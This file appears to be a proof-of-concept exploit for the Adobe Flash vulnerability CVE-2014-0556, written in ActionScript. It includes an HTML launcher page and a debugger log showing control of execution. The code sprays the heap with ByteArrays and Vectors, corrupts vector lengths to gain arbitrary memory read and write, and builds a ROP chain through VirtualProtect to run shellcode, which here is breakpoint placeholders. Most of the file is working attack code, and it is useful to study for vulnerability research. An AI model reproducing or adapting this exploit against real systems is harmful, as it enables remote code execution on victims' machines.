/*
<
html
>
<
head
>
<
title
>CVE-2014-0556</
title
>
</
head
>
<
body
>
<
object
id
=
"swf"
width
=
"100%"
height
=
"100%"
data
=
"NewProject.swf"
type
=
"application/x-shockwave-flash"
></
object
><
br
>
<
button
onclick
=
"swf.exploit()"
>STOP</
button
>
</
body
>
</
html
>
*/
/*
(1728.eb0): Break instruction exception - code 80000003 (first chance)
eax=00000001 ebx=00000201 ecx=08d62fe8 edx=76ee70f4 esi=599dd83f edi=59a31984
eip=08d63048 esp=08d63048 ebp=5a55a3a8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
08d63048 cc int 3
1:020> dd esp l4
08d63048 cccccccc cccccccc cccccccc cccccccc
1:020> t
eax=00000001 ebx=00000201 ecx=08d62fe8 edx=76ee70f4 esi=599dd83f edi=59a31984
eip=08d63049 esp=08d63048 ebp=5a55a3a8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
08d63049 cc int 3
1:020> t
eax=00000001 ebx=00000201 ecx=08d62fe8 edx=76ee70f4 esi=599dd83f edi=59a31984
eip=08d6304a esp=08d63048 ebp=5a55a3a8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
08d6304a cc int 3
1:020> t
eax=00000001 ebx=00000201 ecx=08d62fe8 edx=76ee70f4 esi=599dd83f edi=59a31984
eip=08d6304b esp=08d63048 ebp=5a55a3a8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
08d6304b cc int 3
1:020> t
eax=00000001 ebx=00000201 ecx=08d62fe8 edx=76ee70f4 esi=599dd83f edi=59a31984
eip=08d6304c esp=08d63048 ebp=5a55a3a8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
08d6304c cc int 3
*/
package
{
import flash.events.*
import flash.media.*
import flash.display.*
import flash.geom.*
import flash.utils.*
import flash.text.*
import flash.external.ExternalInterface
public class Main extends Sprite {
private var i0:uint
private var i1:uint
private var i2:uint
private var i3:uint
private var str:String = new String("CVE: CVE-2014-0556\nAuthor: hdarwin (@hdarwin89)\nTested on: Win7 SP1 x86 & Flash 14.0.0.145")
private var ba:Vector.<
ByteArray
> = new Vector.<
ByteArray
>(3200)
private var ob:Vector.<
Object
> = new Vector.<
Object
>(6400)
private var bitmap:BitmapData = new BitmapData(0x100, 4, true, 0xffffffff)
private var rect:Rectangle = new Rectangle(0, 0, 0x100, 4)
private var snd:Sound
private var vector:uint
private var vtable:uint
private var flash:uint
public function Main():void {
for (i0 = 0; i0 <
3200
; i0++) {
ba[i0] = new ByteArray()
ba[i0]
.length
=
0x2000
ba[i0]
.position
=
0xfffff000
}
for (
i0
= 0; i0 < 3200; i0++) {
if (i0 % 2 == 0) ba[i0] = null
ob[i0 * 2] = new Vector.<uint>(1008)
ob[i0 * 2 + 1] = new Vector.<
uint
>(1008)
}
bitmap.copyPixelsToByteArray(rect, ba[1601])
for (i0 = 0; ; i0++)
if (ob[i0].length != 1008) break
ob[i0][1024 * 3 - 2] = 0xffffffff
for (i1 = 0; ; i1++) {
if (i0 == i1) continue
if (ob[i1].length != 1008) break
}
ob[i1][0xFFFFFFFE - 1024 * 3] = 0xffffffff
ob[i1][0xFFFFFFFE - 1024 * 3 + 1] = ob[i0][1024 * 3 - 1]
ob[i0].fixed = true
for (i2 = 1000; ; i2++) {
if (ob[i1][0xFFFFFFFF - i2 + 0] == 0 && ob[i1][0xFFFFFFFF - i2 + 10] == 1 && ob[i1][0xFFFFFFFF - i2 + 5] == ob[i1][0xFFFFFFFF - i2 + 15]) {
vector = ob[i1][0xFFFFFFFF - i2 + 11]
break
} else if (ob[i1][i2 + 0] == 0 && ob[i1][i2 + 10] == 1 && ob[i1][i2 + 5] == ob[i1][i2 + 15]) {
vector = ob[i1][i2 + 11]
break
}
}
snd = new Sound()
for (i2 = 0; i2 <
6400
; i2++) {
if (i2 == i0 || i2 == i1) continue
ob[i2] = null
ob[i2] = new Vector.<Object>(1014)
ob[i2][0] = snd
ob[i2][1] = snd
}
for (i2 = 0; ; i2++) {
if (ob[i0][i2 + 0] == 1014 &&
ob[i0][i2 + 1] == ob[i0][i2 + 2] &&
ob[i0][i2 + 3] == 1
) {
vtable = read(ob[i0][i2 + 1] - 1)
flash = vtable - 0x00c3c1e8 // Flash32_14_0_0_145.ocx
write(ob[i0][i2 + 1] - 1, vector + 0xf54)
for (i3 = 0; i3 < 1008; i3++) {
ob[i0][i3] = 0x41414100 | i3
}
ob[i0][0] = flash + 0x004d6c50 // POP EBP # RETN
ob[i0][1] = flash + 0x004d6c50 // skip 4 bytes
ob[i0][2] = flash + 0x00a21b36 // POP EBX # RETN
ob[i0][3] = 0x00000201 // 0x00000201
ob[i0][4] = flash + 0x008ec368 // POP EDX # RETN
ob[i0][5] = 0x00000040 // 0x00000040
ob[i0][6] = flash + 0x00691119 // POP ECX # RETN
ob[i0][7] = vector + 2000 // Writable location
ob[i0][8] = flash + 0x005986d2 // POP EDI # RETN
ob[i0][9] = flash + 0x00061984 // RETN (ROP NOP)
ob[i0][10] = flash + 0x001bf342 // POP ESI # RETN
ob[i0][11] = flash + 0x0000d83f // JMP [EAX]
ob[i0][12] = flash + 0x000222b5 // POP EAX # RETN
ob[i0][13] = flash + 0x00b8a3a8 // ptr to VirtualProtect()
ob[i0][14] = flash + 0x00785916 // PUSHAD # RETN
ob[i0][15] = flash + 0x0017b966 // ptr to 'jmp esp'
ob[i0][16] = 0xcccccccc // shellcode
ob[i0][17] = 0xcccccccc // shellcode
ob[i0][18] = 0xcccccccc // shellcode
ob[i0][19] = 0xcccccccc // shellcode
ob[i0][979] = flash + 0x0029913A // POP EAX # RETN
ob[i0][980] = 0x00000f58
ob[i0][981] = flash + 0x00195558 // PUSH ESP # POP ESI # RETN
ob[i0][982] = flash + 0x0036B3B2 // SUB ESI,EAX # POP ECX # MOV EAX,ESI # POP ESI # RETN
ob[i0][985] = flash + 0x0095024c // XCHG EAX,ESP # RETN
ob[i0][1007] = flash + 0x0095024c // XCHG EAX,ESP # RETN
break
}
}
ob[i1][0xFFFFFFFE - 1024 * 3] = 4096
ob[i0][1024 * 3 - 2] = 0
str += flash.toString(16)
var tf:TextField = new TextField(); tf.width = 800; tf.height = 800; tf.text = str; addChild(tf)
if (ExternalInterface.available) ExternalInterface.addCallback("exploit", exploit)
}
private function write(addr:uint, data:uint):void {
ob[i0][(addr - vector) / 4 - 2] = data
}
private function read(addr:uint):uint {
return ob[i0][(addr - vector) / 4 - 2]
}
private function zeroPad(number:String, width:int):String {
if (number.length < width)
return "0" + zeroPad(number, width-1)
return number
}
public function exploit():void {
snd.toString()
}
}
}